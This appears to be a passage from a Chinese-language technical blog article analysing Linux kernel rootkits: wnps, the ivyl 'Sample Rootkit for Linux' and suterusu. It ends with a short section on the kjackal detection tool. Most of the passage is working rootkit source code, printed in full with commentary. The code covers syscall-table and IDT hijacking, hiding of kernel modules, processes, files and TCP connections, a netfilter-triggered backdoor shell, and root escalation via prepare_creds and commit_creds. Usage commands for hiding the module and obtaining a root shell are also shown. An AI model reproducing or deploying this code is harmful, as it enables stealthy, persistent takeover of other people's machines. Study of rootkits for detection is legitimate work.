由於咱們須要劫持read這個系統調用,因此在hook前須要保存原始的函數地址 read這個系統調用和文件、目錄、設備的讀寫有關,咱們要進行rootkit的隱藏工做,這個系統調用的hook是必不可少的 */ orig_read = sys_call_table[__NR_read]; //orig_write = sys_call_table[__NR_write]; /* getdents64這個系統調用涉及到目錄、文件的枚舉(例如ls命令) http://www.cppblog.com/momoxiao/archive/2010/04/04/111594.html */ orig_getdents64 = sys_call_table[__NR_getdents64]; /* 經過IDT寄存器劫持當前系統中的"系統調用中斷idt例程" */ set_idt_handler((void *)system_call_addr); /* 經過sysenter劫持當前系統中的"系統調用中斷idt例程" */ set_sysenter_handler(sysenter_entry); /* 找到/proc/net/tcp這個目錄 */ while (strcmp(my_dir_entry->name, "tcp")) { my_dir_entry = my_dir_entry->next; } if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { //保留原始的/proc/net/tcp列表 old_tcp4_seq_show = my_afinfo->seq_show; /* 將/proc/net/tcp替換爲"hacked_tcp4_seq_show",這個函數會根據配置文件隱藏指定tcp鏈接記錄 */ my_afinfo->seq_show = hacked_tcp4_seq_show; } /* 註冊一個netfilter回調函數,監控全部的入口tcp數據報,有兩個目的 1) 過濾掉指定的tcp soccket鏈接 2) 經過監控關鍵字"TCP_SHELL_KEY",實現無鏈接方式shell開啓 */ netfilter_test_init(); #if DEBUG == 1 printk(KERN_ALERT "[+] Wnps installed successfully!\n"); #endif return 0; } void wnps_exit(void) { /* * We do nothing here! */ } module_init(wnps_init); module_exit(wnps_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt");
總結一下,wnps所使用到的技術關鍵點以下
1. 無鏈接方式SHELL激活
wnps能夠經過發送tcp數據報來激活shell,即就算目標主機("肉雞")不監放任何ip和端口,咱們也能夠經過wnps的rootkit功能進行shell激活
咱們知道,tcp數據報是傳輸層協議,主機在接收到一個tcp數據報的時候,若是發現dst(目的ip)是本身本機,則必定會接收下來,進行解包後傳給上層(應用層),而在應用層有一個複用/解複用的過程,即應用層根據目的端口來決定將這個數據報發給哪一個應用程序
而問題的關鍵就是: 在從傳輸層配發到相應的應用程序以前,須要通過netfilter的路由過程(netfilter的鏈式處理流程),而wnps就是經過註冊了一個netfilter的回調函數,監控了全部的入口tcp流量,若是在tcp數據報中發現了"TCP_SHELL_KEY"(標識關鍵字,wnps提供這個標誌的可配置化),則代表客戶端請求激活後門shell
經過這種巧妙的方式,真正作到了隨機shell激活,而不須要像傳統的方法那樣讓肉雞listen住一個端口,而後等待鏈接,wnps的隱蔽性更好
/source/net/netfilter/core.c
int nf_register_hook(struct nf_hook_ops *reg) { struct nf_hook_ops *elem; int err; err = mutex_lock_interruptible(&nf_hook_mutex); if (err < 0) { return err; } list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) { if (reg->priority < elem->priority) { break; } } list_add_rcu(®->list, elem->list.prev); mutex_unlock(&nf_hook_mutex); #if defined(CONFIG_JUMP_LABEL) static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]); #endif return 0; }
kshell.c
/** register a netfilter hooks,hook.c will use it. */ int netfilter_test_init(void) { //註冊的回調函數 nfho.hook = hook_func; nfho.owner = NULL; nfho.pf = PF_INET; nfho.hooknum = NF_IP_PRE_ROUTING; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return 0; }
實現了對PRE_ROUTING的前向過濾動做,直接完成在傳輸層的shell開啓功能,關於netfilter的相關鏈式處理方式,請參閱另外一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
2. netfilter註冊回調+/proc/net/tcp修改雙重過濾,實現網絡鏈接狀態隱藏
咱們知道,netstat命令是經過讀取/proc/net來獲取當前linux系統的網絡鏈接狀態信息的,傳統的rootkit會對/proc/net這個鏈接內核的虛擬目錄進行修改以此來達到隱藏socket鏈接狀態的目的,但不少的檢測系統也所以開發出了內核檢測機制以此來對抗針對/proc/net的攻擊方式
針對這種狀況,wnps在修改/proc/net的基礎上加上了netfilter註冊回調過濾機制,經過直接在netfilter的hook點上註冊過濾函數,根據配置文件直接屏蔽指定的tcp鏈接,以此來得到更大的靈活性
3. 劫持當前系統中的"系統調用中斷idt例程"
搜索的方法是比較傳統的"關鍵字內存暴力搜索"方式,即
p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85'
4. 劫持系統中關鍵系統調用
1. 劫持sysenter(快速系統調用)這個系統調用 2. 劫持getdents64系統調用 getdents64涉及到目錄、文件的枚舉(例如ls命令) 3. 劫持read系統調用 文件、目錄、設備、加載LKM模塊的隱藏
5. kernel mode socket connect back(內核態反向回連)
wnps在read的系統調用劫持函數中加入了內核態反向回連的觸發代碼,大體流程以下
if(wztshell == 1) { //wztshell==1代表當前rootkit的shell已經被激活(已經經過netfilter過濾機制接收到了指令段發送的激活指令) 從肉雞端主動向遠程主控方創建tcp socket鏈接 }
6. 基於系統調用hook的進程隱藏
對於linux系統,能夠得到當前進程的指令有:
1. ll /proc 2. ps 3. top
這些系統指令到了內核系統調用這個層面,全都須要經過"getdents64"這個系統調用進行實現
wnps在對getdents64進行劫持的函數中,對指定進程信息(dirent64結構體)進行了過濾,從而得到到了比簡單修改/proc更好的效果
7. 通訊加密
/** * encryptcode - encrypt strings in a buf. * @buf: strings in it. * @count: the length of buf. * * we can use random char to improve encrypt strength. */ void encrypt_code(char *buf,int count) { char *p; int i,j; for (i = 0; i < 4; i++) for (p = buf,j = 0; j < count; j++,p++) *p = *p ^ xorkeys[i]; }
wnps對通訊數據進行了異或加密
0x4: Defense Strategy
Relevant Link:
http://www.xfocus.net/tools/200710/1233.html http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
6. Sample Rootkit for Linux
0x1: Installation && Usage
https://github.com/ivyl/rootkit,下載源代碼以後,直接make編譯便可,"Sample Rootkit for Linux"對大部份內核版本支持不少,這很大程度上也是由於它的代碼量很小,涉及到和系統強依賴的因素也相對較少,因此編譯上的兼容性就更高
這裏簡單介紹一下"Sample Rootkit for Linux"的使用
1. 查看幫助 cat /proc/rtkit 當前rootkit進程是被隱藏起來的,咱們直接輸入/proc/rtkit便可查看rootkit的信息、以及rootkit支持的指令集 1.1 DESC: 1) hides files prefixed with __rt or 10-__rt and gives root 1.2 CMNDS: 1) mypenislong: 得到一個root權限的shell(提權) 2) hpXXXX: hides proc with id XXXX(xxxx填的是指定進程的pid) 3) up: unhides last process(取消隱藏最後進程) 4) thf: toogles file hiding(文件隱藏的開關) 5) mh: module hide(隱藏當前rootkit內核模塊) 6) ms: module show(顯示當前rootkit內核模塊,取消隱藏) 1.3 STATUS 1) fshide: 0 2) pids_hidden: 0 3) module_hidden: 1 2. 向rootkit內核模塊下發指令 1) 隱藏rootkit模塊 echo -n mh >> /proc/rtkit 2) 隱藏進程 echo -n hp1233 >> /proc/rtkit 3) 得到一個root權限的shell echo -n mypenislong >> /proc/rtkit 3. 使用軟件提供的包裝腳本 1) 得到一個root權限的shell python tools/rtcmd.py mypenislong /bin/bash
0x2: Features
這裏針對rt.c進行代碼分析,原理性闡述都放在註釋中了
#include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/string.h> #include <linux/cred.h> #include <linux/fs.h> /* 定義了一個判斷大小的宏 */ #define MIN(a,b) \ ({ typeof (a) _a = (a); \ typeof (b) _b = (b); \ _a < _b ? _a : _b; }) #define MAX_PIDS 50 MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>"); MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>"); //STATIC VARIABLES SECTION //we don't want to have it visible in kallsyms and have access to it all the time static struct proc_dir_entry *proc_root; static struct proc_dir_entry *proc_rtkit; static int (*proc_readdir_orig)(struct file *, void *, filldir_t); static int (*fs_readdir_orig)(struct file *, void *, filldir_t); static filldir_t proc_filldir_orig; static filldir_t fs_filldir_orig; static struct file_operations *proc_fops; static struct file_operations *fs_fops; static struct list_head *module_previous; static struct list_head *module_kobj_previous; static char pids_to_hide[MAX_PIDS][8]; static int current_pid = 0; static char hide_files = 1; static char module_hidden = 0; static char module_status[1024]; /* MODULE HELPERS 使用"斷鏈法"技術進行內核模塊的隱藏 原理: 1. linux將全部的內核模塊都在內核中用循環雙鏈表串聯起來了 2. 經過找到這些鏈表,並使用linux提供的鏈表操做宏將指定的"元素(對應內核模塊)"從鏈表中斷開 3. 咱們再經過lsmod、或者直接讀取內核模塊鏈表的時候天然沒法枚舉到被咱們隱藏的模塊了,達到隱藏模塊的目的 關於內核模塊鏈表的相關知識請參閱 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; } /* 將斷開的鏈表項目從新插入回去,恢復模塊的顯示 */ void module_show(void) { int result; if (!module_hidden) return; list_add(&THIS_MODULE->list, module_previous); result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); module_hidden = !module_hidden; } //PAGE RW HELPERS static void set_addr_rw(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); if (pte->pte &~ _PAGE_RW) { pte->pte |= _PAGE_RW; } } static void set_addr_ro(void *addr) { unsigned int level; pte_t *pte = lookup_address((unsigned long) addr, &level); pte->pte = pte->pte &~_PAGE_RW; } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 當檢測到指定的須要隱藏的進程時,直接returned返回,即直接跳過這個進程的枚舉 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { return 0; } return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); } static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); } static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { int size; /* 當cat /proc/rtkit 時的輸出 */ sprintf(module_status, "RTKIT\n\ DESC:\n\ hides files prefixed with __rt or 10-__rt and gives root\n\ CMNDS:\n\ mypenislong - uid and gid 0 for writing process\n\ hpXXXX - hides proc with id XXXX\n\ up - unhides last process\n\ thf - toogles file hiding\n\ mh - module hide\n\ ms - module show\n\ STATUS\n\ fshide: %d\n\ pids_hidden: %d\n\ module_hidden: %d\n", hide_files, current_pid, module_hidden); size = strlen(module_status); if (off >= size) return 0; if (count >= size-off) { memcpy(buffer, module_status+off, size-off); } else { memcpy(buffer, module_status+off, count); } return size-off; } static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypen", MIN(11, count))) { /* 建立一個用戶新進程task_struct的creads */ struct cred *credentials = prepare_creds(); /* changes to root */ credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; /* 得到新設置cread的進程shell */ commit_creds(credentials); } else if (!strncmp(buff, "hp", MIN(2, count))) { //upXXXXXX hides process with given id if (current_pid < MAX_PIDS) { strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); } } else if (!strncmp(buff, "up", MIN(2, count))) { //unhides last hidden process if (current_pid > 0) { current_pid--; } } else if (!strncmp(buff, "thf", MIN(3, count))) { //toggles hide files in fs hide_files = !hide_files; } else if (!strncmp(buff, "mh", MIN(2, count))) { //module hide module_hide(); } else if (!strncmp(buff, "ms", MIN(2, count))) { //module hide module_show(); } return count; } //INITIALIZING/CLEANING HELPER METHODS SECTION static void procfs_clean(void) { if (proc_rtkit != NULL) { remove_proc_entry("rtkit", NULL); proc_rtkit = NULL; } if (proc_fops != NULL && proc_readdir_orig != NULL) { set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_orig; set_addr_ro(proc_fops); } } static void fs_clean(void) { if (fs_fops != NULL && fs_readdir_orig != NULL) { set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_orig; set_addr_ro(fs_fops); } } /* 初始化rootkit在/proc中的目錄項 */ static int __init procfs_init(void) { //new entry in proc root with 666 rights /* 新建一個666權限的/proc目錄 */ proc_rtkit = create_proc_entry("rtkit", 0666, NULL); if (proc_rtkit == NULL) { return 0; } //設置父目錄 proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } /* 註冊/proc/rtkit的讀取句柄,即cat /proc/rtkit時相應的響應 static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) */ proc_rtkit->read_proc = rtkit_read; /* 註冊/proc/rtkit的寫入句柄,即echo -n xxx >> /proc/rtkit時相應的處理流程 static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) */ proc_rtkit->write_proc = rtkit_write; //substitute proc readdir to our wersion (using page mode change) proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_readdir_orig = proc_fops->readdir; //設置內存頁可讀可寫 set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops); return 1; } /* 初始化文件系統的內存讀寫權限 */ static int __init fs_init(void) { /* struct file { union { struct list_head fu_list; struct rcu_head fu_rcuhead; } f_u; struct path f_path; #define f_dentry f_path.dentry #define f_vfsmnt f_path.mnt const struct file_operations *f_op; atomic_t f_count; unsigned int f_flags; mode_t f_mode; loff_t f_pos; struct fown_struct f_owner; unsigned int f_uid, f_gid; struct file_ra_state f_ra; unsigned long f_version; #ifdef CONFIG_SECURITY void *f_security; #endif void *private_data; #ifdef CONFIG_EPOLL struct list_head f_ep_links; spinlock_t f_ep_lock; #endif struct address_space *f_mapping; }; 文件結構體表明一個打開的文件,系統中的每一個打開的文件在內核空間都有一個關聯的struct file 它由內核在打開文件時建立,並傳遞給在文件上進行操做的任何函數。在文件的全部實例都關閉後,內核釋放這個數據結構(內核變量) */ struct file *etc_filp; //get file_operations of /etc etc_filp = filp_open("/etc", O_RDONLY, 0); if (etc_filp == NULL) { return 0; } /* struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t, loff_t, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); int (*show_fdinfo)(struct seq_file *m, struct file *f); }; */ fs_fops = (struct file_operations *) etc_filp->f_op; filp_close(etc_filp, NULL); //substitute readdir of fs on which /etc is fs_readdir_orig = fs_fops->readdir; //設置內存頁可讀可寫 set_addr_rw(fs_fops); fs_fops->readdir = fs_readdir_new; set_addr_ro(fs_fops); return 1; } //MODULE INIT/EXIT static int __init rootkit_init(void) { /* 初始化rootkit在/proc中的目錄項 初始化文件系統的內存讀寫權限 */ if (!procfs_init() || !fs_init()) { procfs_clean(); fs_clean(); return 1; } module_hide(); return 0; } static void __exit rootkit_exit(void) { procfs_clean(); fs_clean(); } module_init(rootkit_init); module_exit(rootkit_exit);
總結一下,Sample Rootkit for Linux所使用到的技術關鍵點以下
1. 經過內核API得到rootkit權限shell
struct cred *credentials = prepare_creds(); credentials->uid = credentials->euid = 0; credentials->gid = credentials->egid = 0; commit_creds(credentials);
2. 基於/proc的目錄讀取函數劫持的進程隱藏
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); proc_root = proc_rtkit->parent; proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_fops->readdir = proc_readdir_new;
經過獲取/proc的讀取回調句柄(即/proc對讀取的迴應),而後根據指定的pid進行選擇性枚舉跳過(return)
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { proc_filldir_orig = filldir; return proc_readdir_orig(filp, dirent, proc_filldir_new); } //CALLBACK SECTION static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { int i; for (i=0; i < current_pid; i++) { /* 當檢測到指定的須要隱藏的進程時,直接returned返回,即直接跳過這個進程的枚舉 */ if (!strcmp(name, pids_to_hide[i])) { return 0; } } if (!strcmp(name, "rtkit")) { return 0; } return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); }
3. 基於對/etc目錄文件讀取枚舉接口函數劫持的的文件隱藏
struct file *etc_filp; etc_filp = filp_open("/etc", O_RDONLY, 0); fs_fops = (struct file_operations *) etc_filp->f_op; fs_readdir_orig = fs_fops->readdir; fs_fops->readdir = fs_readdir_new;
和進程的隱藏原理同樣,都是經過對目錄(/proc從某種程度上來講也是一種目錄)的讀取句柄進行劫持,而後進行選擇性跳過(return)來達到屏蔽的目的
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { fs_filldir_orig = filldir; return fs_readdir_orig(filp, dirent, fs_filldir_new); } static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { /* 當檢測到指定的知足隱藏條件的文件名特徵時,直接returned返回,即直接跳過這個文件的枚舉 */ return 0; } return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); }
4. 基於斷鏈法的內核模塊隱藏技術
/* MODULE HELPERS 使用"斷鏈法"技術進行內核模塊的隱藏 原理: 1. linux將全部的內核模塊都在內核中用循環雙鏈表串聯起來了 2. 經過找到這些鏈表,並使用linux提供的鏈表操做宏將指定的"元素(對應內核模塊)"從鏈表中斷開 3. 咱們再經過lsmod、或者直接讀取內核模塊鏈表的時候天然沒法枚舉到被咱們隱藏的模塊了,達到隱藏模塊的目的 關於內核模塊鏈表的相關知識請參閱 http://www.cnblogs.com/LittleHann/p/3865490.html */ void module_hide(void) { if (module_hidden) { return; } /* 從struct module結構體能夠看出,在內核態,咱們若是要枚舉當前模塊列表,可使用list、kobj這兩個成員域進行枚舉 天然在斷鏈隱藏的時候也須要對這兩個成員進行操做 */ module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); module_hidden = !module_hidden; }
5. 經過建立/proc下虛擬目錄的讀寫接口函數接收ring3層的指令、指令靈活配置
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); proc_rtkit->read_proc = rtkit_read; /* 註冊/proc/rtkit的寫入句柄,即echo -n xxx >> /proc/rtkit時相應的處理流程 static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) */ proc_rtkit->write_proc = rtkit_write; static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { if (!strncmp(buff, "mypenislong", MIN(11, count))) { } else if (!strncmp(buff, "hp", MIN(2, count))) { } else if (!strncmp(buff, "up", MIN(2, count))) { } else if (!strncmp(buff, "thf", MIN(3, count))) { } else if (!strncmp(buff, "mh", MIN(2, count))) { } else if (!strncmp(buff, "ms", MIN(2, count))) { } return count; }
經過這種方式,能夠很方便地經過一個相對較隱蔽的方式從ring3向ring0發出指令
0x3: Defense Strategy
Relevant Link:
https://github.com/ivyl/rootkit http://www.cnblogs.com/LittleHann/p/3865490.html
7. suterusu
這個rootkit的功能把別的rootkit大同小異,有一個亮點的地方是,它使用register_module_notifier註冊了模塊加載的回調函數,這使得suterusu能夠在系統調用這個層面對其餘的lkm的加載和放行進行控制
Relevant Link:
https://github.com/mncoppola/suterusu
8. Rootkit Defense Tools
攻和防是一件針鋒相對的事情,從某種程序上來,防守方必定是滯後於攻擊方(時間長短的問題),檢測、防護rootkit的工具本質上就是在識別、肯定rootkit的攻擊技術的基礎上,進行反向的思考以及防護
總目前來看,rootkit在進行攻擊的時候會使用到的技術有:
1. 靈活的指令配置 1) 經過建立/proc下虛擬目錄的讀寫接口函數接收ring3層的指令、指令靈活配置 2) 經過netlink技術實現ring3和ring0的通訊,向rootkit下發指令 2. 內核模塊隱藏(包括隱藏rootkit自身分模塊) 1) 基於斷鏈法的內核模塊隱藏技術 3. 文件、目錄隱藏 1) 基於對/etc目錄文件讀取枚舉接口函數劫持的的文件隱藏 2) 隱藏文件中"特定的內容" 3) 替換關鍵系統指令程序,例如ls、ll 4) 基於sys_execv系統調用劫持實現可執行程序執行重定向技術 4. 進程隱藏 1) 基於/proc的目錄讀取函數劫持的進程隱藏 2) 基於系統調用hook的進程隱藏 3) 替換關鍵系統指令程序,例如ps、top 4) 基於getdents64系統調用劫持實現可執行程序執行重定向技術 5. 網絡鏈接狀態隱藏 1) netfilter註冊回調實現網絡鏈接狀態隱藏 2) /proc/net/tcp修改過濾實現網絡鏈接狀態隱藏 6. 獲取root權限的shell 1) 經過內核API(prepare_creds()、commit_creds())得到rootkit權限shell 2) 無鏈接方式SHELL激活 2.1) tcp激活 2.2) udp激活 2.3) icmp激活 7. 遠程控制(shell) 1) kernel mode socket connect back(內核態反向回連) 8. 通訊加密 1) commit_creds 2) 藉助HTTP、或DNS協議進行通訊 9. 鍵盤記錄 1) 密碼記錄(ssh, su, mysql, pop3, passwd etc)
基於這些已知的先驗知識,下面咱們來看一下git上開源的工具是怎樣進行rootkit檢測的
9. Linux Rootkit Scanner: kjackal
Kjackal uses multiple methods to find hidden modules. Here is the list:
1. Syscall hijack detection. The primary technique is to iterate over the syscall table and test every address to see if it is in the core kernel text section where it's supposed to be. If yes, we'll check 1) 經過遍歷當前內核中的系統調用表syscal table,逐一檢查例程的入口地址是否在內核空間,若是不在,則說明發生了syscall劫持 2) 發現了syscall table的劫持以後,繼續進行反向追蹤,肯定劫持當前系統調用的是哪個LKM,即找到劫持的兇手 for a module "hosting" this address. 2. TCP IPv4 seq_ops hijack detection. This technique is often used to hide ports or any sensitive information. The 'seq_ops.show' is checked here to the core kernel text address space. rootkit通常採用對/proc/net/tcp的讀寫句柄進行劫持以實現隱藏網絡鏈接狀態的目的,因此咱們這裏的檢測思路反過來去枚舉/proc/net/tcp的讀寫句柄是否在內核態中,若是不在,說明發生了劫持 3. /proc filesystem hijack detection. Check the readdir ops of /proc. rootkit一般經過劫持/proc的f_op->readdir來實現filesystem劫持的目的 4. Search for hidden modules Search for each *hidden* module which tries to remove itself from existence 經過對modules kset進行枚舉實現隱藏內核模塊的檢測 關於在linux內核中內核模塊的數據結構、以及模塊鏈表的枚舉 http://www.cnblogs.com/LittleHann/p/3865490.html search: struct module
Relevant Link:
http://files.cnblogs.com/LittleHann/kjackal.rar https://github.com/dgoulet/kjackal
Copyright (c) 2014 LittleHann All rights reserved